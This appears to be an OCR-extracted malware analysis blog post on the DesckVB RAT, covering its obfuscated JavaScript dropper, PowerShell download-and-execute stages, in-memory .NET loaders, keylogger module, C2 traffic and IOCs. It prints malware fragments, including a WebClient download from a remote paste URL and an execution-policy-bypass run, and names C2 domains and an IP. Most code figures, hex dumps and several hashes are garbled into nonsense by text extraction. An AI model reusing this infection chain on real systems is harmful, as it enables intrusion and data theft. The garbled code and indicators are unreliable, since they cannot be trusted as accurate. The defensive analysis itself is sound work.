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Introduction

DesckVB RAT is a highly active threat in 2026, operating as a JavaScript-based Trojan that
initiates infection by deploying a PowerShell payload, which subsequently loads a .NET-based
loader directly into memory. This loader utilizes techniques such as in-memory assembly
execution and .NET reflection, allowing it to run without writing files to disk and thereby evading
traditional security defences. Once executed, the RAT establishes communication with a
command-and-control (C2) server, enabling attackers to remotely control the compromised
system, exfiltrate sensitive data, and carry out various malicious activities while maintaining a low
detection footprint.
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Figure 1: Shows flow of malware

The JavaScript file is heavily obfuscated and replicates its own code into both PowerShell and text

files.

Through the initial PowerShell script, it generates an additional PowerShell payload and initiates
communication with the domain:

andrefelipedonascimel768785037020.1552093.meusitehostgator.com.br
It also attempts to interact with:

pastee.dev/d/ylacxzwj/0

Subsequently, an in-memory .NET DLL is loaded, which establishes communication with a
command-and-control (C2) server.

JS files drops Powershell file in “C/User/Public”

var bfHJJ = "ZnVuY3Rpb24geFFr520gewlKIC' + 'A' + 'gIHBvd2VycZhlbGwgLWNvbWlhbmQgIlJlc3RhIi" + 'A' 4+ '"rICJydClDb2lwdxXRlci'

+ 'R" 4+ 'tRm' + '8' + 'yY2uiDQp' + '9" +

' OLNOYXJOLVNSZWVWIC1TZWNVbmRz IDUT IFL TeXNOZWOUTmMVOLIN1CnZpY2VQb21udE 1 hbmFnZXJdOj pTZWN1cml0eVByb3RVY2Z + '9' +

' sSIDOGWINSC3R1bS502XQuU2VidXJpdHlQem' +  '9'  + '0Ob2NvbFR5cGVAC]pUbHMXM]SNC]skWEh3SEUgPSBUZXNOLUNVEMS1Y3Rpb24gJ3d3dySnb2" +
'8' 4 'mbGUUY2' + '8' + 'tJy' + 'A' + 'tRXJyb3JBY3Rpb24gU21sZW50bH1Db250aW51ZTSNCiRFRmlSci' + ‘'A' + '' + '9' +

'"ICRYSHAIRS' + 'A' + '"taXMgWOFycmFSXTsNCmlmICgkRUZpeXIpewOKDQPp' + '9" + 'DQplbHN1" + "ewOKeFFrS20gOw0OKIC' + 'aA' + 'gIC'

+ 'A' + 'gZXhpdDsNCn0O7DQoNC]tpZigoZ2V0LXByb2Nlc3iMglZhhbmRsZScsICdhdXRvay' + 'A' +
'rICdydWSzYycsICAEYmd2aWv3JywgJIRjcHZjb24nlC" 4+ 'A' 4+ 'nYWSSLnJlbicsICdhbnkucnVuJywgJ3NhbmRib3gnLc' + 'A' +

"ndGNwWdml 1dycsICAPTEXZREJHIYyWnSW1tdWSpdH1EEZWI122d1lcicsICdXaxJldy" + 'A" 4+

'rICdzaGEyaycsJ2FWYXRIRESTJywnYWShbH1 625cglWVhIFNpbGVudGxS5Q2"' + '"9' + "udGludWUpICllcsS' + 'A' + 'kInVsbCL7I'" + 'A' +
'OKIC" + 'A" + 'gIC' + 'A' + 'gI' + 'A' + '0OKIQUKZWxzZXsgDQp4UWtLbs' + 'A' + 'TDQogIC' + 'A' +
'gICBleGl00WOKIHOTW1NSCc3R1bS50ZXQuU2Vydml j EVBvaWS 0TWEFuYWd1lcl06™ ;

Figure 2: JS obfuscated file
The PowerShell script initially verifies internet connectivity by attempting to reach Google.
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exit;

};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolTypel::Tlsl2 ;$SpiVF;Function zFIXK(;
$knzcc - [qimte"l Text. Eﬁccdm':r] :UTFE. Letbtrlﬁq([systew Convert] ::FromBasecd4String ($SpivFE) ) ;return $knzCG; ) ;SUKDKI = (
1 + 'buwnmr ) $uc.n:2 = '3 y' o*

WwCJEP I Out-File -FilePath $l;'m7u -Bncoding 'UTEB' -f:-rcé ;$$&TIE =

$SinE' = $'HCJ'.BP $HCJ'BP = zFZXK;

U I ') ;§$dvmpi = New-C ct System.Net.WebClient ;$dvmp3j.Encoding = [System.Text.Encoding]::UTF8

Sdvmpd . Peaderc hdd{[qysrew Net.HttpRequestHeader] : :CacheControl, ' he') :$dvmpd.Headers.Add([System.Net.
HttpRequestHeader] : :Fragma, ' ') ;$dvmpj.Froxy = $null $avtw = ( Get-Content =-FPath $UKDKI ) ;$ueKaH = S$dvmp].
DownloadData( SavtVw.Trim() ) $1qt.ry = [System.Text.Encoding]::UTFE.GetSt rmgtsuexam ;$lgtry = tqt[regex] soll'tSlqtry

+'33[11) . Trim() ; $1qtry I Cut-File -FilePath $MkTIP -force $p].bm‘K = "Lo" 4 ' $z:.u..:r - 'R + ' ;8GKyby = '
+ "ok synnns' = f t ';$FGuyN = Snull:$fnzxg += ' 'https:
$£nzxq +=
$£nzxq+- ; W rrorr, v gt cSfnERg 4= U ; y . t . . y D INewW :
Sfnzxg += 'Stoyf bz xw plit "', ! ; ) 1 [byt T ;' sSfnzxg 4= 'STCPEM iystem.' + $yDnDF
+ + $zllu..J+ + SplMwK + ' tcyf U SEnzNg 4= y STCPTM.GetTy ' 3. ")t cSfnzeg +=

) S {{ ' 'orEVI® " 4+ ScKyby + . . : . o
Window ft.N Amewor 3 t 1t , ; SGK ' ;$ZOFKT = |
+ kpzw 1 ") ;8fnzxg | Out-File -FilePath $zOFkT -force ;Start-Sleep -s 5;:powershell -

ExecutionPolicy bypass =File $zZOFET ;
Figure 4: Powershell Code
The Base64-encoded string was decoded to 0/jWzXCALY/d/ved.eetsap//:sptth, which reveals a
reversed URL. When corrected, it resolves to https://pastee.dev/d/ylacxzwj/0, indicating that the
malware uses Base64 encoding combined with string reversal to conceal its command-and-
control (C2) or payload hosting domain, a common obfuscation technique to evade static
detection and analysis.

The command powershell -ExecutionPolicy Bypass -File “C:\Users\Public\lkpzw_01.ps1” is
executed. The referenced PowerShell script contains the following code.

SNEkHRE = | https: andre £ ipedona ime]l T 1 1] meusitet tgator. m. br - + J Bzhito =
(§ZRALO = + ($=hALO -replace . b ocISPEERV = |
* ) ;32dhtr = (Get t =PFath $FttkV =Encoding UTFE) ;$2dhtr -replace ; ;lbytel] ) $lgadb = (3 -,---r"
ollections.Generic, List [Byte]]: inew() ;§lgmib = (§fdhtxr -split I I t | [byte) (8 m{}y 1) Sv‘ll}q.'l. = [System.Refl ion
Resembly] s :Load( $lgmib ) :SKmKBR = $vTDgl.cerType( ) :4NPROB = SMmKBR.CetMathod( b. e $tGEpv :.; []] |
$zhilo | — __—_' ;

. SMKHRE ) ) :

Figure 5 Ikpzw_01.ps1 file
The script attempts to connect to the domain
andrefelipedonascime1768785037020.1552093.meusitehostgator.com.br and subsequently
leverages the .NET Framework utility InstallUtil.exe to execute a malicious payload, a technique
commonly used to bypass traditional security controls. The domain, as shown in the figure, is
Base64-obfuscated to evade detection. Additionally, the script loads the assembly ClassLibrary3
into memory and invokes the method prFVI, indicating in-memory execution of the payload.

The malicious domain andrefelipedonascime1768785037020.1552093.meusitehostgator.com.br
was observed delivering ClassLibrary3.dll via runtime in-memory loading. At present, the endpoint
returns an HTTP 404 response, suggesting the payload is no longer hosted or has been removed.

Payload File: ClassLibrary3.dll

The method prFVI is a heavily obfuscated .NET function designed to hide its true behavior.The
presence of a WebClient object suggests that it performs network communication, likely to
download or interact with a remote resource such as a command-and-control (C2) server.This
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method exhibits typical characteristics of a malicious loader that executes payloads in memory
while evading detection.

Figure 6: Method prFVI to execute payload
This ClassLibrary3.dll loads ClassLibrary1.dll file

FB 81, WK
Figure 7: Shws Powershell bd Payload

This snippet shows an obfuscated .NET routine where a method is being invoked with encoded
parameters, including a reference to “ps1” (PowerShell), indicating preparation for a PowerShell-
based payload. The code dynamically processes data through multiple internal method calls, likely
performing decryption or transformation before execution.
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94193E8D, [] 36BAFBBS,

36BAFBBB[1] |= 08)

sInformation

33827287) ;

(36BAFBBB, 68);
(36BAFBBSE,

Figure 8: Obfuscated method
This Execute method appears to be a core routine of an obfuscated .NET loader responsible for
creating and managing a new process to execute a payload. Using CreateProcessA, it spawns a
new process in a suspended or controlled state, after which it performs checks such as process
architecture compatibility. Additional logic suggests it may inject or manipulate the payload within
the created process.This function demonstrates typical behavior of a process injection or loader
mechanism used to execute malicious code while evading detection.

Final Payload Microsoft.exe

A String array being initialized with encoded or unreadable values, indicating that the data has
been intentionally obfuscated to hide its true meaning.

Figure 9: Encoded String Array
Observed at runtime, the malware points to what appears to be an encrypted configuration,

suggesting that these encoded strings are actually part of a hidden configuration set.
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Figure 10: Runtime Array values
This image represents the EXE at runtime, showing various modules and components that have
been loaded into memory during execution. The listed functionalities such as keylogging, antivirus
detection, webcam access, and network communication indicate that the malware is actively
preparing or utilizing its capabilities once it runs on the system.

Figure 11: Drops module in memory

Keylogger.dii

Figure 12: Malicious Domain
When observed alongside the keylogger module, this indicates that during execution or
debugging, the malware loads its configuration details into memory to establish communication
with a remote server. The runtime memory view shows a string array containing values such as a
domain (manikandan83.mysynology.net) and a port (7535), which are likely part of the malware’s
command-and-control (C2) configuration.

Network Analysis

This network capture shows a typical outbound encrypted communication pattern often seen in
malware activity. The internal host (192.168.4.103) initiates a connection to the external IP
(23.186.113.60) over port 443, which is standard for HTTPS traffic. The presence of a TLS
handshake (Client Hello, Server Hello, and Certificate) indicates that the communication is being
secured, making it difficult to inspect payload contents. However, in the context of the earlier
PowerShell-based loader, this traffic likely represents command-and-control (C2) communication,
where the malware establishes a secure channel to receive instructions or exfiltrate data. The use
of legitimate ports and encryption is a common evasion technique, allowing malicious traffic to
blend in with normal web activity and bypass basic network security controls.
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14732- -1132. 2B 192.168.4.183 23.186.11%.68 TP 54 55508 = 443 [A(K] Seqel Ackel Win=65182 Lens=

14T23- ~1R30.BEIIB0- 1RD.168.4. 103 2318600364 Tesvl.2 1774 Client Hells (SMI=pastee.dev)

1872k -1139.BADI9R. 23.186.113.68 192,168.4.183 TCP GO 443 = 55500 [AME] Seqel Ack=1453 WinsGd12B Len=@
14722 ~1329.B43198_ J3.186.113.68 192.168.4.183 TCR 6O 443 = 555080 [ACK] Seqel Ack=1721 Wine£412E Len=@
1873 -1039, B4 25,086,113 80 192, 168, 4. 183 Tuivl.2 1310 Server Hello

14721 ~1129.BAT3O4_ I3.186.113.68 192.168.4.183 TLSw1.2 1518 Certificate

Figure 13: Handshake between server and Client
This hex dump reveals fragments of an HTTP-based payload embedded within what appears to
be obfuscated or partially encrypted traffic. Notably, readable strings like “pastec.dev” and
“http/1.1” suggest that the malware is attempting to communicate with an external server, likely for
payload retrieval or command-and-control purposes. The surrounding non-readable bytes indicate
encoding or encryption layers used to hide the actual data and evade detection. Such patterns are
commonly seen in staged malware infections, where initial loaders fetch additional components
from remote hosts. Overall, this snippet reinforces the presence of covert network communication,
likely tied to the earlier observed PowerShell and in-memory .NET execution chain.

88 15 5d ed cl1 37 @@ 15 5d 81 2b @2 B8 80 45 @0 ]-+F-+ ]-+---E
B8 4c 74 T4 48 @0 30 86 ©8@ 88 ac 15 54 67 2d 9c Lt-@ Tg-
57 e2 c6 ¢3 1d 6Ff f7 99 2f a2 41 fc 4a b4 58 18 W o-- /-A-J-P
f4 23 865 39 @@ 88 44 55 74 65 63 74 61 41 56 Jc #.9.-De tectalV|
7c 57 69 Ge 64 6T 77 73 28 44 65 66 65 Ge 64 65 |Windows Defende
72 2c 23 53 75 B3 65 73 73 23 r,#5uces s#
Figure 14: Malicious Domain attempting to communicate

The domain manikandan83.mysynology.net appears to be associated with malicious activity,
resolving to the IP address 45.156.87.226 and using port 7535, which likely serves as part of the
malware’s command-and-control (C2) communication channel. Network activity related to this
connection can be analyzed using Wireshark.

' o wwwwa el e T T e e

9533 10816 847 172.21.84.183 53
9534 1816.1213961.. 172.21.84.183 {45.156.87.226 jTCP 98 58883 -+ 7535 [PSH, ACK] Seq=213 Ack=38611 Win=995984 Len=36

ml;igl,.l}-ém{g.:..Network Activity
This Wireshark capture shows network traffic that includes the DetectAV module name, indicating
that the malware is actively communicating information related to antivirus detection.

‘4 oad 44 15 24Y H4 24 ba Ya H58 Wb SC 22 32 bY oC/ T | 74
14 aa 21 5c a2 @c 2d @@ 1d ed 28 d5 89 =8 1f 38 Iy - 8
5 45 27 98 85 d7 Be 2 cc el 42 55 67 9b 56 4 F' . BUg - W
[1 42 a9 Bl 48 4c 8b 3b 3 d8 48 e 23 80 @8 e. B--@L-; H-#

@ ek ef ee od 82 BB @3 78 Bl 73 74 65 65 2e B4 pastee.d
32 7o 88 10 b @e 9@ Bc B2 o8 32 @8 B8 74 74 T8 ev h2-http
' 31 2e 31 fe ©d @8 ba @8 @0 01 @@ 61 71 @8 28 f1.1 q
f 52 28 6e 82 26 7d bf 86 1f b8 B4 eB ce 91 dd R n-&} d

of @7 85 38 81 e 13 4f b4 82 Ga ee a2 89 63 2f G- -0 i h/

Figure 16: DetectaAV connecting with c2
The Wireshark capture shows network traffic that includes the Ping module name, indicating that
the malware is actively performing network communication, likely to check connectivity with its
command-and-control (C2) server. In addition, the capture also reveals other module names and
components, suggesting that the malware is transmitting details about its internal functionalities
and system activity over the network.

7/9



fa 23 86 24 @8 88 58 GBI
33 B85 73 73 23

Be 67 Jc Jc 38 23

53 75

“#-%-Pi ng||8#5u
cessH#

Figure 17: Transmission of data with C2

Indicators of Compromise (IOCs)

MD5/File name Details
220e11c678bcba151545ce19398e08b8802103bfbbc11696f3301ea8fa38190c  JS File
138f29a9190acad9c392cc6fe37104b8 okflt.ps1
andrefelipedonascime1768785037020[.]1552093[.Jmeusitehostgator[.Jcom[.]or  Malicious
pastee.dev Domain

f040a81be4d3b3584b79036d77794c16

ClassLibrary3.dll

fd684ea48cb97714d4f8a0c741cf862b

ClassLibrary1.dll

f17ed8chc54baeb6c74d0d793d7¢c7a72a

Microsoft.exe

manikandan83.mysynology.net

Malicious IP:
45.156.87.226

a624f6¢cb9ccd4106f91e58049163c757

Detection

Keylogger.dll

D:\StudyMaterial\office\Blog\DesckVB RAT v2.9\2

@'d Trojan.Script.DesckVB

Location:

D\StudyMaternial\office’\Blog\DesckVE RAT v2.9424247093222
4220e11c678bcbal51545c219308e08b8802103bfbbc 1169653301 a8

fa38190c

Figure 18: Threat Detection with UltraAV
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Reference

This analysis is informed by prior research conducted by ShadowOpCode. Read more here:
https://github.com/ShadowOpCode/DesckVB-RAT
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